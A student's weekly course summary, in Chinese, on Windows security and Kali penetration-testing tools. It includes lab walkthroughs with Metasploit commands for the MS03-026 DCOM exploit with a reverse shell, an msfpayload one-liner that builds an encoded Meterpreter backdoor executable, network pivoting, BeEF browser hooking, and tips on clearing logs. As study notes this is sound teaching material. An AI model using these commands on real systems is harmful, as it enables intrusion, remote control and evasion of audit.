2017-2018-2 20179216 《網絡攻防與實踐》第七周總結
教材內容總結
第七章 Windows操作系統安全攻防
1、Windows操作系統基本框架
Windows操作系統的基本結構
分為運行於處理器特權模式的操作系統內核,以及運行在處理器非特權模式的用戶空間代碼。采用宏內核模式來進行構架,這使得任意的內核模塊或設備驅動程序都可能破壞其他內核模塊數據,這種宏內核機制也使得Windows操作系統容易遭受以驅動方式植入內核的Rootkit的危害。- Windows操作系統內核基本模塊:
- Windows執行體
- Windows內核體
- 設備驅動程序
- 硬件抽象層
- Windows窗口與圖形界面接口內核實現代碼
- Windows操作系統內核中實現的核心機制:
- Windows進程和線程管理機制
- Windows內存管理機制
- Windows文件管理機制
- Windows註冊表管理機制
- Windows的網絡機制
2、Windows操作系統的安全體系結構與機制
- Windows安全體系結構:
Windows操作系統基於引用監控器模型來實現基本的對象安全模型。 - Windows身份認證機制:
Windows操作系統中以安全主題概念來包含所有進行系統資源訪問請求的實體對象,有用戶,用戶組,和計算機三大類。 - Windows授權與訪問控制機制:
Windows的授權與訪問控制機制是基於引用監控器模型,由內核中的SRM模塊與用戶態的LSASS服務共同來實施。在Windows服務器操作系統中,用戶可以執行內建的whoami命令來查看當前用戶的訪問令牌信息。 Windows對於系統中所有需保護的資源都抽象成對象,具體類型包括文件、目錄、註冊表鍵值、內核對象、同步對象、私有對象、管道、內存、通信接口等,而對每個對象會關聯一個SD安全描述符,SD安全描述符主要由如下主要屬性組成。
(1)Owner SID:對象所有者的SID安全標識符。
(2)Group SID:對象所在基本用戶組的SID安全標識符。
(3)DACL自主訪問控制列表:指明了那些安全主體可以何種方式來訪問該對象。
(4)SACL 系統審計訪問控制列表:指明了那些主體發起的那些訪問操作需要被審計。 - Windows安全審計機制:
系統審計策略在本地安全策略中由系統管理員定義,來確定系統對那些事件進行記錄。
3、Windows遠程安全攻防技術
Windows遠程攻擊技術可以分為以下幾類:遠程口令猜測與破解攻擊、攻破Windows網絡服務、攻擊Windows客戶端及用戶。
Windows系統的安全漏洞生命周期:
(1)Windows安全漏洞發現、利用與修補過程
(2)安全漏洞公開披露信息庫
(3)針對特定目標的滲透測試攻擊過程
(4)使用Metasploit軟件實施滲透測試Windows遠程口令猜測與破解攻擊:
(1)遠程口令自猜測
(2)遠程口令字交換通信竊聽與破解
(3)遠程口令猜測與破解防範措施Windows網絡服務遠程滲透攻擊:
(1)針對NetBIOS網絡服務的著名漏洞及攻擊
(2)針對SMB網絡服務的著名漏洞及攻擊
(3)針對MSRPC網絡服務的著名漏洞及攻擊
(4)針對Windows系統上微軟網絡服務的遠程滲透攻擊
(5)針對Windows系統上第三方網絡服務的遠程滲透攻擊
4、Windows本地安全攻防技術
Windows本地特權提升:
在攻擊者獲得Windows系統上的受限用戶權限之後,他們將立即著眼於獲得終極特權:Administrator或者Local System賬戶。從受限用戶權限嘗試獲得特權賬戶的攻擊技術也被稱為特權提升。Windows系統上進行特權提升的攻擊途徑主要是通過DLL註入和破解本地程序安全漏洞。Windows敏感信息竊取:
Windows系統口令字密文提取技術、Windows系統口令字破解技術、用戶敏感數據竊取、本地敏感信息竊取防範措施Windows消蹤滅跡:
(1)關閉審計功能(Windows Resource Kit工具包裏的auditpol程序可以讓他們輕易地關閉審計功能)
(2)清理事件日誌(使用Event Viewer事件查看器來打開、讀取和清除這臺主機上的事件日誌)
使用Metasploit Console終端實施滲透測試過程。(攻擊機kali(192.168.246.129),靶機Windows xp(192.168.246.128))
use exploit/windows/dcerpc/ms03_026_dcom
set PLAYLOAD generic/shell——reverse_tcp
set LHOST 192.168.246.129;set RHOST 192.168.246.128
exploit
Kali視頻(26-30)學習
KaliSecurity - 漏洞利用之檢索與利用
1. searchsploit
可以借助關鍵詞搜索漏洞信息以及漏洞對應的exp,searchsploit wordpress列出了漏洞和文件地址。
相對文件目錄是/usr/share/exploitdb/platforms
2. pattern create
測試漏洞
3. jboss-autopwn-linux/win
專門針對Jboss的漏洞利用工具
4. ikat
自動化開啟,等待目標訪問中招。
5. termineter
評估智能電表的安全性。
KaliSecurity - 漏洞利用之Metasploit基礎
Metasploitable在滲透測試中經常被用到,實際上這套軟件包括了很多工具,這些工具組成了一個完整的攻擊框架。
1. 啟動服務
在Kali中使用Metasploit,需要先開啟PostgreSQL數據庫服務和metasploit服務,然後就可以完整的利用msf數據查詢exploit和記錄。
service metasploit start
2. 路徑介紹
Kali中msf的路徑為/usr/share/metasploit-framework
- Auxiliary:輔助模塊。
- encoders:供msfencode編碼工具使用,具體可以使用 msfencode –l
- exploits:攻擊模塊 每個介紹msf的文章都會提到那個ms08_067_netapi,它就在這個目錄下。
- payloads:其中列出的是攻擊載荷,也就是攻擊成功後執行的代碼。比如我們常設置的windows/meterpreter/reverse_tcp就在這個文件夾下。
- post:後滲透階段塊,在獲得meterpreter的shell之後可以使用攻擊代碼。比如常用的hashdump、arp_scanner就在這裏。
3. 基本命令
- msfpayload:用來生成payload或者shellcode。搜索時候可以用msfpayload -l |grep “windows”這樣的命令來查詢,-o選項可以列出payload所需的參數。
- msfencode:msf中的編碼器,早期為了編碼繞過AV現在常用msfpayload與它編碼避免exploit的壞字符串。使用它作為攻擊載荷能夠獲得目標系統的一個meterpretershell的鏈接。
- msfconsole:開啟metasploit的console
4. 測試示例:發現漏洞,搜索exploit
首先對目標進行版本掃描:nmap -sV 192.168.246.129
在msfconsole中搜索看Metasploit的ftp服務是否有漏洞
進入exploit,查看參數
配置信息:set LHOST 192.168.246.129;set RHOST 192.168.246.128
輸入命令exploit 進行攻擊
KaliSecurity - 漏洞利用之Meterpreter介紹
Meterpreter是metasploit框架中的一個擴展模塊,作為溢出成功以後的攻擊載荷使用,攻擊載荷在溢出攻擊成功以後給我們返回一個控制通道。使用它作為攻擊載荷能夠獲得目標系統的一個Meterpretershell的鏈接。meterpreter作為後滲透模塊有多中類型,並且命令由核心命令和擴展庫命令組成,極大地豐富了攻擊方式,其有很多有用的功能,如,添加一個用戶,隱藏一些東西,打開shell,得到用戶密碼,上傳下載遠程主機的文件,運行cmd.exe,捕獲屏幕,得到遠程控制權,捕獲按鍵信息,清除應用程序,顯示遠程主機的系統信息,顯示遠程及其的網絡接口和IP地址等信息。
常見命令:
- background:將當前會話放置後臺
- load/use:加載模塊
- interact:切換進一個信道
- migrate:遷移進程
- run:執行一個已有的模塊,這裏要說的是輸入run後按兩下tab,會列出所有的已有的腳本。
- resource:執行一個已有的rc腳本常用的meterpreter類型為:payload/windows/meterpreter/reverse_tcp。
常見命令使用
包括系統信息,抓取屏幕截圖與抓取HASH等。
攻擊步驟:
- 設置參數:
(1)msfconsole
(2)use exploit/multi/handler
(3)set payload windows/meterpreter/reverse_tcp
(4)set LHOST 192.168.246.129;set LPORT 2333
- 生成Meterpreter後門
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.246.129 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe
但是設置成功後仍然無法使用
KaliSecurity - 漏洞利用之Metasploit後滲透測試
在跳板獲取一定權限後需要積極地向內網主機權限發展,獲取指定的目標信息,探查系統漏洞,借助msf已經得到的Meterpreter後門,可以使系列的操作更容易。
- 查看當前網卡、網段信息:ifconfig
- 添加路由表:run autoroute -s 10.0.0.1。
- 開socket代理,通過使用auxiliary/server/socks4a模塊,創建一個socks代理,可以為瀏覽器,sqlmap,nmap使用,通過代理即可訪問內網計算機
- 通過background和session -i可以自由切換進入session
- 輸入run可以看到在meterpreter上可以做的很多命令
- 通過run post/可以看到後滲透測試模塊
- 獲取內網信息:run arp_scanner -r 10.0.0.1/24
- 也可以上傳文件,做端口轉發後進行後續測試
- 應用程序/權限維持/Tunnel工具集
- 端口轉發 upload lcx.exe c:
KaliSecurity - 漏洞利用之BeEF
XSS漏洞需要強大框架的支持,如網上的XSS平臺。在Kali下,BeeF是一個不遜色於XSS平臺的工具。Beef是瀏覽器攻擊框架的簡稱,是一款專註於瀏覽器端的滲透測試工具。 - 命令行下啟動Beef:beef-xss 。
此時瀏覽器自動訪問此頁面:http://127.0.0.1:3000/ui/authentication 。
(1)hock攻擊
使用默認用戶名beef與默認密碼beef登錄:
假設被測試主機由於XSS漏洞請求到http://127.0.0.1:3000/demos/basic.html
這個測試在訪問了之後,Beef就會hock到信息
HOCK持續的時間到關閉測試頁面為止,在此期間,相當於被控制了,可以發送攻擊命令,在Commends模塊,可以完成很多任務。
其中,4種顏色分別表示:
綠色:該攻擊模塊可用,且隱蔽性強;
灰色:該攻擊模塊可用,但隱蔽性差;
橙色:該攻擊模塊是否可用還有待驗證;
紅色:該攻擊模塊不可用
選取MISC下的Raw JavaScript模塊作為測試用例,右端表格有該模塊的詳細說明,以及一些可選的參數等。輸入JavaScript code,點擊Excute進行攻擊:
(2)Proxy功能
借助目標瀏覽器訪問目標可以訪問的地址。
利用use as Proxy設定主機代理,在Rider選項中的Forge Request當中編輯要發送的內容
信息發送後,可通過History選項看到,待傳輸成功後,點擊相應的信息,即可顯示詳細的傳輸過程:
(3)BeeF與Metasploit結合加載
首先打開beef xss目錄
cd /usr/share/beef-xss/ ls
/usr/share/beef-xss/nano config.yaml /*
- 編輯一下,可以看到有很多配置信息,包括用戶名、密碼都可以在這設置,在此將Metasploit的false修改為true
保證此處IP等信息設置正確(不適用127.0.0.1,需使用本機IP),並修改Custom路徑:
cd extensions/metasploit/
ls
nano config.yaml / 將host和callback_host行的IP修改為本機IP,並修改custom路徑為/usr/share/metasploit-framework/ */配置好後打開msfconsole,運行命令:
load msgrpc ServerHost=192.168.8.115 Pass=abc123
執行./beef -x重新加載Metasploit的exploit模塊
加載之後,重啟下服務:service beef-xss restart,可以看到Metasploit下面多了很多可以使用的模塊。
2017-2018-2 20179216 《網絡攻防與實踐》第七周總結